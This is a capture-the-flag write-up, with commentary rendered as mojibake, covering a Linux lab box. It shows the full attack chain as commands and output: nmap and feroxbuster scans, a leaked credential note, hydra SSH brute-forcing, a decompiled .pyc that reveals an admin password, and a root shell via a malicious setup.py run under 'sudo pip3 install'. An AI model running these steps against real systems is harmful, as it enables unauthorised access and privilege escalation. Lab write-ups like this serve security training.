Box Info

OSDifficulty
LinuxEasy

Nmap

[root@kali] /home/kali/pkgpoison  
โฏ nmap 172.17.0.2 -sV -A -p-                                                        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-31 03:57 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f:87:50:66:15:23:d6:c3:90:3f:ea:8c:a4:4b:b3:ff (RSA)
|   256 d1:35:c1:82:09:e8:c2:c7:cd:98:89:61:c2:6b:14:64 (ECDSA)
|_  256 dd:01:45:ce:bd:a3:05:21:5b:31:4c:2f:df:38:c4:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.41 (Ubuntu)

Feroxbuster

[root@kali] /home/kali/pkgpoison  
โฏ feroxbuster -u 'http://172.17.0.2/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,txt   
                                                                                                                                                
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher ๐Ÿค“                 ver: 2.11.0
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 ๐ŸŽฏ  Target Url            โ”‚ http://172.17.0.2/
 ๐Ÿš€  Threads               โ”‚ 50
 ๐Ÿ“–  Wordlist              โ”‚ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 ๐Ÿ‘Œ  Status Codes          โ”‚ All Status Codes!
 ๐Ÿ’ฅ  Timeout (secs)        โ”‚ 7
 ๐Ÿฆก  User-Agent            โ”‚ feroxbuster/2.11.0
 ๐Ÿ’‰  Config File           โ”‚ /etc/feroxbuster/ferox-config.toml
 ๐Ÿ”Ž  Extract Links         โ”‚ true
 ๐Ÿ’ฒ  Extensions            โ”‚ [php, txt]
 ๐Ÿ  HTTP methods          โ”‚ [GET]
 ๐Ÿ”ƒ  Recursion Depth       โ”‚ 4
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
 ๐Ÿ  Press [ENTER] to use the Scan Management Menuโ„ข
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      308c http://172.17.0.2/notes => http://172.17.0.2/notes/
200      GET        5l       24w      177c http://172.17.0.2/notes/note.txt
200      GET     5094l    30782w  2832734c http://172.17.0.2/index.png
200      GET       26l       51w      589c http://172.17.0.2/
[####################] - 17s   661647/661647  0s      found:4       errors:3422   
[####################] - 16s   661638/661638  40447/s http://172.17.0.2/ 
[####################] - 0s    661638/661638  330819000/s http://172.17.0.2/notes/ => Directory listing (add --scan-dir-listings to scan) 

ๆŸฅ็œ‹ๅˆฐไธ€ไธชnote.txt

[root@kali] /home/kali/pkgpoison  
โฏ curl http://172.17.0.2/notes/note.txt                               
Dear developer,
Please remember to change your credentials "dev:developer123" to something stronger.
I've already warned you that weak passwords can get us compromised.

-Admin

Hydra

ไธ่ƒฝ็›ดๆŽฅ็™ปๅฝ•๏ผŒไฝ†ๆ˜ฏๆœ‰่ฟ™ไธช็”จๆˆทๅๅฏไปฅ่ฟ›่กŒ็ˆ†็ ด

[root@kali] /home/kali/pkgpoison  
โฏ hydra -l dev -P  /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -I                                                                       โŽ
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-31 04:01:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: dev   password: computer
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-31 04:02:22

ๅพ—ๅˆฐๅฏ†็ ๆ˜ฏcomputer

image-20250531160316608

Own admin

ๆŸฅ็œ‹ๅˆฐ/opt็›ฎๅฝ•ไธ‹ๆœ‰ไธ€ไธชpycๆ–‡ไปถ

dev@2f7ae8d2f272:/opt/scripts/__pycache__$ ll
total 12
drwxr-xr-x 2 root  root  4096 May 24 20:25 ./
drwxr-xr-x 3 root  root  4096 May 24 21:04 ../
-rw-r--r-- 1 admin admin  274 May 24 20:25 secret.cpython-38.pyc
dev@2f7ae8d2f272:/opt/scripts/__pycache__$ 

ๅฐ†ไป–ไธ‹่ฝฝไธ‹ๆฅ

dev@2f7ae8d2f272:/opt/scripts/__pycache__$ python3 -m http.server

[root@kali] /home/kali/pkgpoison  
โฏ wget 172.17.0.2:8000/secret.cpython-38.pyc
--2025-05-31 04:05:39--  http://172.17.0.2:8000/secret.cpython-38.pyc
Connecting to 172.17.0.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 274 [application/x-python-code]
Saving to: โ€˜secret.cpython-38.pycโ€™

secret.cpython-38.pyc               100%[===================================================================>]     274  --.-KB/s    in 0s      

2025-05-31 04:05:39 (68.1 MB/s) - โ€˜secret.cpython-38.pycโ€™ saved [274/274]

็ป่ฟ‡ๅ็ผ–่ฏ‘็š„็ป“ๆžœ๐Ÿ‘‡

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8


def auth():
    username = 'admin'
    password = 'p@$$w0r8321'
    print('Authenticating...')

Root

ๆŸฅ็œ‹sudo

admin@2f7ae8d2f272:~$ sudo -l
Matching Defaults entries for admin on 2f7ae8d2f272:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on 2f7ae8d2f272:
    (ALL) NOPASSWD: /usr/bin/pip3 install *

admin ็”จๆˆทๅฏไปฅไปฅ root ๆƒ้™ ๅฎ‰่ฃ…ไปปๆ„ Python ๅŒ…

admin@2f7ae8d2f272:~$ TF=$(mktemp -d)
admin@2f7ae8d2f272:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
admin@2f7ae8d2f272:~$ sudo /usr/bin/pip3 install $TF
Processing /tmp/tmp.ZzA2ZH9Ziz
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# 

Summary

้žๅธธ็ฎ€ๅ•๏ผŒไธๅคš่ฏดไบ†